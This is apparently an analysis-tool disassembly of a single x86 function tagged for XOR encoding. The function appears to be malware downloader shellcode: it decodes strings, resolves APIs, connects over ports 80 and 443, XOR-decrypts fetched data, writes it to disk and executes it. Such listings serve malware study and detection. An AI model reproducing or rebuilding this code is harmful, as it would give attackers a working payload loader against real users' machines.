Function at 0x821009
Capabilities:
Encode data using xor

Disassembly:
pop ecx
jmp 0x8218a5
mov ebp, esp
add ecx, 0xc
add esp, 0xfffffff0
mov dword [ebp - 0xc], ecx
push ecx
mov ebx, ecx
xor eax, eax
mov al, byte [ebx]
test eax, eax
je 0x8218c1
dec eax
mov byte [ebx], al
inc ebx
jmp 0x8218b5
inc ebx
push dword [ebp + 4]
call dword [ebp]
mov dword [ebp - 4], eax
push eax
xor eax, eax
push ebx
push ebx
mov al, byte [ebx]
dec eax
mov byte [ebx], al
inc ebx
inc eax
jne 0x8218d0
dec ebx
mov byte [ebx], al
push dword [ebp + 4]
call dword [ebp]
pop esi
mov dword [ebp - 8], eax
push eax
lodsb al, byte [esi]
test al, al
jne 0x8218e7
lodsb al, byte [esi]
dec al
je 0x82191c
dec al
je 0x821925
dec al
jne 0x821911
mov eax, 0x446c7452
mov dword [esi], eax
push esi
push dword [ebp - 0x10]
call dword [ebp - 8]
push eax
mov eax, 0x20202020
mov dword [esi], eax
jmp 0x8218e7
dec esi
push esi
push dword [ebp - 0x10]
call dword [ebp - 8]
push eax
jmp 0x8218e7
push esi
call dword [ebp - 4]
mov dword [ebp - 0x10], eax
jmp 0x8218e7
mov eax, dword [ebp - 0xc]
mov ecx, eax
add eax, 0xcdb
push eax
mov eax, ecx
add eax, 0xce6
push eax
mov eax, ecx
add eax, 0xbc5
push eax
mov ebp, esp
add esp, 0xfffffd80
push 4
push 0x1000
push 0xa7dce4
push 0
call dword [ebp + 0x3c]
test eax, eax
je 0x821948
push 0x1000
pop ecx
push ecx
mov dword [ebp - 0x44], eax
add eax, 0x1e8868
mov dword [ebp - 0x48], eax
add eax, 0x5b9550
mov dword [ebp - 0xc], eax
pop edx
add eax, edx
mov dword [ebp - 0x10], eax
add eax, edx
add eax, ecx
mov dword [ebp - 0x30], eax
add eax, edx
mov dword [ebp - 4], eax
mov ebx, eax
add eax, edx
mov edi, eax
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x58], eax
lodsw ax, word [esi]
mov dword [ebp - 0x54], eax
xor eax, eax
mov ecx, eax
mov edx, eax
mov dword [ebx], edi
add ebx, 4
lodsb al, byte [esi]
cmp al, 1
je 0x8219bb
stosw word es:[edi], ax
inc ecx
test al, al
jne 0x8219ad
jmp 0x8219a8
xor eax, eax
lodsb al, byte [esi]
mov dword [ebp - 8], esi
shl eax, 2
add esi, eax
xor eax, eax
lodsb al, byte [esi]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], edi
mov ecx, eax
cld
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
lodsw ax, word [esi]
stosd dword es:[edi], eax
loop 0x8219d2
mov eax, 0x400
mov dword [ebp - 0x50], edi
add edi, eax
mov dword [ebp - 0x6c], edi
mov ebx, edi
add ebx, eax
mov al, 0x2f
stosb byte es:[edi], al
xor eax, eax
stosb byte es:[edi], al
mov eax, 0xc8
lea esi, [ebp - 0x68]
mov dword [esi], eax
push esi
push edi
call dword [ebp + 0x70]
lodsd eax, dword [esi]
shl eax, 1
add edi, eax
mov al, 0x2f
stosb byte es:[edi], al
xor eax, eax
stosb byte es:[edi], al
mov ah, 4
mov dword [ebp - 0x68], ebx
mov edi, ebx
add ebx, eax
mov ecx, 0x11c
mov esi, ebx
mov dword [esi], ecx
push esi
call dword [ebp + 0x6c]
xor eax, eax
push 0x10e
push 0x2f
pop eax
stosw word es:[edi], ax
lodsd eax, dword [esi]
push 0x30
pop ecx
lodsd eax, dword [esi]
add al, cl
stosw word es:[edi], ax
lodsd eax, dword [esi]
add al, cl
stosw word es:[edi], ax
pop eax
add esi, eax
lodsb al, byte [esi]
dec al
je 0x821a48
mov al, 0x53
stosw word es:[edi], ax
sub esi, 6
dec esi
lodsw ax, word [esi]
test ax, ax
je 0x821a6b
add al, 0x32
dec eax
push eax
mov al, 0x2b
inc eax
inc eax
stosw word es:[edi], ax
mov al, 0x54
push 0x50
dec eax
stosw word es:[edi], ax
pop eax
stosw word es:[edi], ax
pop eax
dec eax
stosw word es:[edi], ax
xor eax, eax
mov al, 0x2f
stosw word es:[edi], ax
xor eax, eax
stosw word es:[edi], ax
mov ebx, eax
mov edi, dword [ebp - 0x44]
push 0x1010101
pop eax
mov ecx, 0xfa000
rep stosd dword es:[edi], eax
mov eax, dword fs:[0x44]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x44]
mov dword fs:[0x44], eax
push ebx
push ebx
push 0x3e8
push dword [ebp + 0x38]
push ebx
push ebx
call dword [ebp + 0x7c]
mov eax, dword [ebp - 0x70]
mov dword fs:[0x44], eax
mov ebx, 0xfff
mov edi, dword [ebp - 0xc]
push ebx
push edi
xor eax, eax
push eax
call dword [ebp + 0x68]
mov esi, dword [ebp - 0x10]
push esi
push ebx
call dword [ebp + 0x64]
mov ecx, 7
call dword [ebp + 8]
push eax
push esi
mov ecx, 0
call dword [ebp + 8]
push eax
push esi
call dword [ebp + 0x88]
add esp, 0x18
xor eax, eax
push eax
push 0x80
push 3
push eax
push 1
push 0x80000000
push edi
call dword [ebp + 0x5c]
cmp eax, 0xffffffff
je 0x821ae6
mov dword [ebp - 0x14], eax
push 0
push eax
call dword [ebp + 0x40]
mov dword [ebp - 0x18], eax
push eax
push edi
call dword [ebp + 0x48]
inc eax
shl eax, 1
mov dword [ebp - 0x2c], eax
pop ecx
add ecx, eax
mov esi, ecx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
push 0
lea ecx, [ebp - 0x20]
push ecx
push dword [ebp - 0x18]
push eax
push dword [ebp - 0x14]
call dword [ebp + 0x58]
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call dword [ebp + 0x74]
test eax, eax
je 0x821d10
push esi
mov ecx, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
add edi, eax
mov esi, dword [ebp - 0xc]
cld
rep movsb byte es:[edi], byte [esi]
pop esi
xor eax, eax
mov edi, eax
push edi
push 0x80
push 2
push edi
push 2
push 0x40000000
push dword [ebp - 0x10]
call dword [ebp + 0x5c]
test eax, eax
je 0x8221b6
mov dword [ebp - 0x24], eax
push edi
lea ecx, [ebp - 0x20]
push ecx
push esi
push dword [ebp - 0x1c]
push eax
call dword [ebp + 0x54]
push dword [ebp - 0x14]
call dword [ebp + 0x44]
push dword [ebp - 0x24]
call dword [ebp + 0x44]
push dword [ebp - 0xc]
push 0x800
call dword [ebp + 0x64]
xor eax, eax
mov edi, dword [ebp - 0x48]
push edi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, dword [ebp - 0x44]
mov ecx, 0x14
mov eax, 0x44
push edi
stosd dword es:[edi], eax
xor eax, eax
stosd dword es:[edi], eax
loop 0x821bbb
mov edi, eax
push dword [ebp - 0xc]
push edi
push edi
push edi
push edi
push edi
push dword [ebp - 0x10]
push edi
call dword [ebp + 0x34]
push edi
call dword [ebp + 0x30]
int3
xor eax, eax
mov ecx, 0x3c
mov edx, dword [ebp - 0x1c]
push edx
add edx, ecx
mov ax, word [edx]
pop edx
add edx, eax
movzx ecx, word [edx + 6]
mov esi, dword [edx + 0x3c]
add edx, 0x14
movzx eax, word [edx]
inc eax
inc eax
inc eax
inc eax
add edx, eax
mov eax, 0x28
dec ecx
add edx, eax
dec ecx
jne 0x821d3c
mov ecx, esi
mov eax, dword [edx + 8]
add eax, ecx
dec eax
dec ecx
not ecx
and eax, ecx
add eax, dword [edx + 0x14]
mov edi, dword [ebp - 0x1c]
add edi, eax
push dword [ebp - 0x14]
call dword [ebp + 0x44]
mov esi, 0x1e
push edi
call dword [ebp + 0x50]
test eax, eax
jne 0x821d74
push 0x3e8
call dword [ebp + 0x38]
dec esi
jne 0x821d61
xor eax, eax
mov esi, eax
push eax
push esi
push eax
push 0
push 6
pop ecx
call dword [ebp + 8]
push eax
call dword [ebp + 0x28]
test eax, eax
je 0x821d74
mov dword [ebp - 0x28], eax
push 3
pop ecx
call dword [ebp + 8]
mov dword [ebp - 0x88], eax
push 4
pop ecx
call dword [ebp + 8]
mov dword [ebp - 0x84], eax
mov eax, 0x3e80
mov dword [ebp - 0x7c], eax
xor eax, eax
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov ecx, eax
mov dword [ebp - 0x80], eax
dec eax
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
inc eax
cmp eax, dword [ebp - 0x5c]
jne 0x821e0d
mov edx, dword [ebp - 0x50]
shl eax, 2
add edx, eax
mov eax, dword [edx]
inc eax
mov dword [edx], eax
mov ecx, dword [ebp - 0x7c]
cmp eax, 5
jbe 0x821df4
inc esi
cmp eax, 0xa
jbe 0x821df4
add ecx, 0x2710
mov dword [ebp - 0x7c], ecx
xor eax, eax
mov dword [edx], eax
mov ecx, 0x927c0
push ecx
call dword [ebp + 0x38]
test esi, esi
jne 0x821e03
mov ax, 0x2901
call dword [ebp]
mov eax, dword [ebp - 0x74]
test eax, eax
je 0x821e0d
xor eax, eax
inc eax
mov dword [ebp - 0x58], eax
call dword [ebp + 4]
cmp ah, 0xff
je 0x821dbe
mov eax, dword [ebp - 0x34]
test eax, eax
je 0x821e27
push eax
call dword [ebp + 0x18]
and dword [ebp - 0x34], 0
mov ecx, dword [ebp - 0x38]
jecxz 0x821e34
push ecx
call dword [ebp + 0x18]
and dword [ebp - 0x38], 0
lea esi, [ebp - 0x70]
mov eax, 0xfa0
mov dword [esi], eax
push 4
push esi
push 2
push dword [ebp - 0x28]
call dword [ebp + 0x10]
push 3
pop ecx
xor esi, esi
push ecx
push esi
push esi
push 3
push esi
push esi
mov eax, dword [ebp - 0x58]
mov ecx, 0x1bb
test eax, eax
jne 0x821e66
mov ecx, 0x50
push ecx
dec eax
test eax, eax
jne 0x821e90
inc eax
mov edx, dword [ebp - 0x50]
shl eax, 2
add edx, eax
mov eax, dword [edx]
test eax, eax
jne 0x821e90
inc eax
mov dword [edx], eax
call dword [ebp + 0x60]
xor edx, edx
div dword [ebp - 0x5c]
mov eax, edx
test eax, eax
jne 0x821e8d
inc eax
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
call dword [ebp + 4]
mov cl, ah
call dword [ebp + 8]
push eax
push dword [ebp - 0x28]
call dword [ebp + 0x24]
pop ecx
test eax, eax
loope 0x821e4e
mov dword [ebp - 0x34], eax
je 0x821dbe
xchg edi, eax
lea esi, [ebp - 0x70]
mov eax, 0x2710
mov dword [esi], eax
push 4
push esi
push 2
push edi
call dword [ebp + 0x10]
xor esi, esi
push 3
pop ecx
push ecx
push esi
mov eax, dword [ebp - 0x58]
mov ecx, 0x80803000
test eax, eax
jne 0x821edc
mov ecx, 0x80000000
push ecx
lea eax, [ebp - 0x88]
push eax
push esi
push esi
mov eax, dword [ebp - 0x58]
mov ah, 1
call dword [ebp + 4]
mov cl, ah
call dword [ebp + 8]
push eax
push esi
push edi
call dword [ebp + 0x20]
pop ecx
test eax, eax
loope 0x821ec9
mov dword [ebp - 0x38], eax
test eax, eax
je 0x821eaa
xchg edi, eax
mov eax, dword [ebp - 0x58]
test eax, eax
je 0x821f22
lea esi, [ebp - 0x70]
mov eax, 0x100
mov dword [esi], eax
push 4
push esi
push 0x1f
push dword [ebp - 0x38]
call dword [ebp + 0x10]
lea esi, [ebp - 0x70]
mov eax, 0xea60
mov dword [esi], eax
push 4
push esi
push 6
push dword [ebp - 0x38]
call dword [ebp + 0x10]
push 4
push esi
push 2
push dword [ebp - 0x38]
call dword [ebp + 0x10]
xor esi, esi
push 2
pop ecx
push ecx
push esi
push esi
push esi
push esi
push edi
call dword [ebp + 0x1c]
pop ecx
test eax, eax
loope 0x821f47
je 0x821eaa
mov eax, 0x3d0900
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x20], eax
lea esi, [ebp - 0x20]
mov edi, dword [ebp - 0x44]
mov dword [ebp - 0x64], edi
mov ecx, 0x1388
push ecx
push esi
push dword [ebp - 0x40]
push edi
push dword [ebp - 0x38]
call dword [ebp + 0x14]
pop ecx
test eax, eax
je 0x821fab
mov eax, dword [esi]
test eax, eax
je 0x821fab
add edi, eax
sub dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
test eax, eax
je 0x821fab
dec ecx
jne 0x821f76
mov ecx, dword [ebp - 0x58]
mov ax, 0x2902
call dword [ebp]
jmp 0x821dbe
mov eax, edi
sub eax, dword [ebp - 0x44]
cmp eax, 0x249f0
ja 0x822027
mov ecx, dword [ebp - 0x58]
test ecx, ecx
jne 0x821f9c
mov ecx, eax
mov edi, dword [ebp - 0x30]
mov eax, dword [edi]
test eax, eax
jne 0x821f9c
push 0x2e
mov esi, dword [ebp - 0x44]
mov eax, dword [esi]
inc esi
cmp eax, 0x65726464
loopne 0x821fce
jcxz 0x821f9c
inc esi
inc esi
inc esi
lodsd eax, dword [esi]
sub eax, 0x203a7373
jne 0x821f9c
pop ecx
lodsb al, byte [esi]
cmp al, cl
jb 0x821ff6
cmp al, 0x39
ja 0x821ff6
add eax, 0x14
stosb byte es:[edi], al
loop 0x821fe7
xor eax, eax
stosw word es:[edi], ax
push eax
xor ecx, ecx
push ecx
push ecx
push 3
push ecx
push ecx
call dword [ebp + 0x60]
and eax, 3
add eax, dword [ebp - 0x54]
push eax
mov cl, 8
call dword [ebp + 8]
push eax
push dword [ebp - 0x28]
call dword [ebp + 0x24]
mov dword [ebp - 0x74], eax
pop eax
mov ecx, eax
call dword [ebp]
jmp 0x821dbe
mov dword [ebp - 0x40], eax
mov eax, 0x5a06e0
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x58]
mov ah, 2
call dword [ebp + 4]
mov cl, ah
shl ecx, 2
mov eax, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 0x40]
push ebx
mov esi, dword [ebp - 0x44]
push 4
mov ebx, dword [eax]
inc esi
inc esi
shr ecx, 2
pop edx
inc esi
inc esi
mov edi, esi
dec ecx
push ebx
lodsd eax, dword [esi]
xor eax, ebx
stosd dword es:[edi], eax
pop ebx
dec ebx
dec ecx
jne 0x82205a
inc ecx
inc ecx
lea eax, [ebp - 0x14]
inc ecx
inc ecx
pop ebx
push eax
mov eax, dword [ebp - 0x40]
sub eax, ecx
push eax
mov esi, dword [ebp - 0x44]
add esi, ecx
push esi
mov eax, dword [ebp - 0x4c]
push eax
mov edi, dword [ebp - 0x48]
mov dword [ebp - 0x64], edi
push edi
push 0x102
call dword [ebp + 0x84]
mov eax, dword [edi]
dec al
inc ah
cmp ax, 0x5b4c
je 0x8220ca
mov eax, dword [ebp - 0x58]
mov ecx, eax
mov edx, dword [ebp - 0x50]
shl eax, 2
add edx, eax
mov eax, dword [edx]
cmp eax, 5
ja 0x8221b6
inc eax
mov dword [edx], eax
mov ax, 0x2904
call dword [ebp]
push 0x7d0
call dword [ebp + 0x38]
jmp 0x821dbe
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
xor eax, eax
push eax
push 0x80
push 2
push eax
push 2
push 0x40000000
mov eax, dword [ebp - 0x58]
mov ah, 4
call dword [ebp + 4]
mov cl, ah
call dword [ebp + 8]
push eax
call dword [ebp + 0x5c]
mov edi, eax
xor eax, eax
push eax
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x64]
push edi
call dword [ebp + 0x54]
push edi
call dword [ebp + 0x44]
mov esi, dword [ebp - 0xc]
push esi
push ecx
call dword [ebp + 0x4c]
mov eax, dword [ebp - 0x58]
mov ah, 4
call dword [ebp + 4]
mov cl, ah
call dword [ebp + 8]
push eax
push esi
mov ecx, 1
call dword [ebp + 8]
push eax
push esi
call dword [ebp + 0x88]
add esp, 0x18
mov edi, dword [ebp - 0x44]
mov ecx, 0x14
mov eax, 0x44
push edi
stosd dword es:[edi], eax
xor eax, eax
stosd dword es:[edi], eax
loop 0x822145
mov edi, dword [ebp - 0x48]
push edi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, eax
push edi
push edi
push edi
push edi
push edi
push edi
push esi
push edi
call dword [ebp + 0x34]
mov ecx, eax
mov eax, 0x2905
call dword [ebp]
mov eax, dword [ebp - 0x58]
call dword [ebp + 4]
mov ecx, eax
push ecx
mov eax, dword [ebp - 0x58]
mov ah, 3
call dword [ebp + 4]
mov cl, ah
mov eax, 0x3e8
mul ecx
push eax
call dword [ebp + 0x38]
pop ecx
mov dl, cl
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0x5c]
push ebx
mov ebx, dword [ebp - 0x60]
mov eax, dword [ebx]
cmp al, dl
jne 0x8221a1
inc ebx
mov al, 0xff
mov byte [ebx], al
dec ebx
mov ah, al
cmp ah, 0xff
je 0x8221a7
inc esi
add ebx, 8
dec ecx
jne 0x822193
pop ebx
cmp esi, ecx
jne 0x821dbe
push 0
call dword [ebp + 0x30]
int3